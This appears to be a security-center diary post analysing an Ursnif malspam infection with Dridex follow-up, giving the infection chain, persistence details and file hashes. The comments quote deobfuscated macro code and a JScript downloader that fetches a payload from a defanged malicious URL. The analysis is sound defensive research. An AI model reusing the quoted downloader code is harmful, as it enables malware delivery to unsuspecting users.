Introduction I frequently see indicators of malicious spam (malspam) pushing Ursnif malware. Specifically, I often find Ursnif pushed by a long-running malspam campaign that uses password-protected zip attachments that contain word documents with macros designed to infected a vulnerable Windows host. The password has usually been 777 for the zip attachments. Word documents contained within those zip archives follow a specific naming convention. For example, a Word document from this campaign on December 2nd would be named info_12_02.doc. Today's diary reviews an Ursnif infection from this campaign that I generated in my lab environment on Monday, December 2nd. The malspam and initial infection Malspam from this campaign is spoofing replies to emails found on infected Windows hosts in the wild. Since these are possibly real people, I've redacted any sensitive information in the images below. As I already described, these emails contain password-protected zip archives, and these zip archives contain Word documents with macros to install Ursnif on a vulnerable Windows host. In this case, enabling macros on the Word document dropped a script file in the C:\Windows\Temp directory, and the script file retrieved the initial Windows executable (EXE) file for Ursnif.
The infection traffic Traffic generated by Ursnif infections follows relatively consistent patterns. During these type of Ursnif infections, we often find follow-up malware retrieved by the Ursnif-infected host. In this case, it was Dridex. The image below shows my Ursnif infection traffic filtered in Wireshark, and it highlights the URL that returned the initial Ursnif EXE.
Post-infection forensics Ursnif makes itself persistent through the Windows registry, where it copies itself and deletes the initial Ursnif EXE. Dridex is made persistent through DLL files that are called by legitimate system files copied to randomly-named directories established during the Dridex infection process. Dridex is made persistent through the Windows registry, a scheduled task, and a Windows shortcut in the Startup menu.
Indicators of Compromise (IoCs) URL that retrieved initial Windows executable file for Ursnif:
URLs generated by initial Windows executable file for Ursnif:
Post-infection traffic after Ursnif has established persistence:
URLs generated by Ursnif-infected host to obtain follow-up malware:
Post-infection traffic caused by Dridex:
Malware and artifacts SHA256 hash: ac13e6f727b207384d24ce3ac710f5bfa507ea8f906136b03745a030050905c5
SHA256 hash: 57d7f95629d7c1e0025043dc05ff1c859bb79a1616a7c4296a6ec23b27ee49cd
SHA256 hash: d329921115fa57c30ba54e8b697658839918ac2e915c0274f2dc9028f7b9db88
SHA256 hash: 52acd832d2036fc326743e63b2a50615be9a6e04d0b4f06e0e8d0e681bf78c9f
SHA256 hash: 4dcb69610bd18e00449dccb8a31f13e84fc348a242fe98cd2b4681040453fe72
SHA256 hash: 896fe4ae5367929ba7a48221f95d52d7795f614958c4cc1c4c7beeca4cc6b92a
Final words A pcap of the infection traffic and the associate malware can be found here. -- |
Brad 389 Posts ISC Handler Dec 3rd 2019 |
Thread locked Subscribe |
Dec 3rd 2019 1 year ago |
Thanks for the awesome writeup. Seems as of now, Windows Defender only recognizes the initial DOC file.
|
dsplice 12 Posts |
Quote |
Dec 3rd 2019 1 year ago |
Although I didn't got the poetry, may be because I'm a native german, I had a similar mail in my inbox yesterday. The PW was another, but the mail follows the ursnif style and the interesting thing from my point of view is another fact. I wonder, if it has similar code in your sample.
Macro-Code: Public Const alWF6 As String = "c:\\wi" Public Const aT0Ci As String = "ndows\\t" Set aL5RCZ = CreateObject("Scripting.FileSystemObject") Set artWS1 = aL5RCZ.CreateTextFile(alWF6 & aT0Ci & "emp\\" & "\atNyC.xsl", 1) artWS1.Write aD8rL6 aD8rL6 ist the base64 decoded value of a form variable containing the XLS with embedded JS. Note: Writing to "c:\windows\temp\atNyC.xsl" would work only with administrative privileges! In the XSL file code: var anBUNb = "hxxp[:]//aheakeerep[.]com/edgron/siloft.php?l=gadeal7.cab"; function af9c0() { var shell = new ActiveXObject("WScript.Shell"); var pcname = shell.ExpandEnvironmentStrings("%COMPUTERNAME%"); var domain = shell.ExpandEnvironmentStrings("%USERDOMAIN%"); var corp = (pcname.toUpperCase() != domain.toUpperCase()); if(corp == true){return(1);} if(corp == false){return(0);} } var a2IDU = ""; if(af9c0()) a2IDU = "z"; var aI8CkO = new ActiveXObject("msxml2.xmlhttp"); aI8CkO.open("GET", anBUNb + a2IDU, 0); Note: The download URL is made invalid, if the host belongs to a Windows Domain Network So the targets are just standalone Windows hosts with admin privileges of the executing user? Or did I miss something with this context? Regards, Ron |
Ron 9 Posts |
Quote |
Dec 4th 2019 1 year ago |
It appears you are correct on both counts - this version of downloader seems to be targeted on non-corporate devices only and would work correctly only if the user has sufficient privileges.
|
Jan 45 Posts ISC Handler |
Quote |
Dec 4th 2019 1 year ago |
Sign Up for Free or Log In to start participating in the conversation!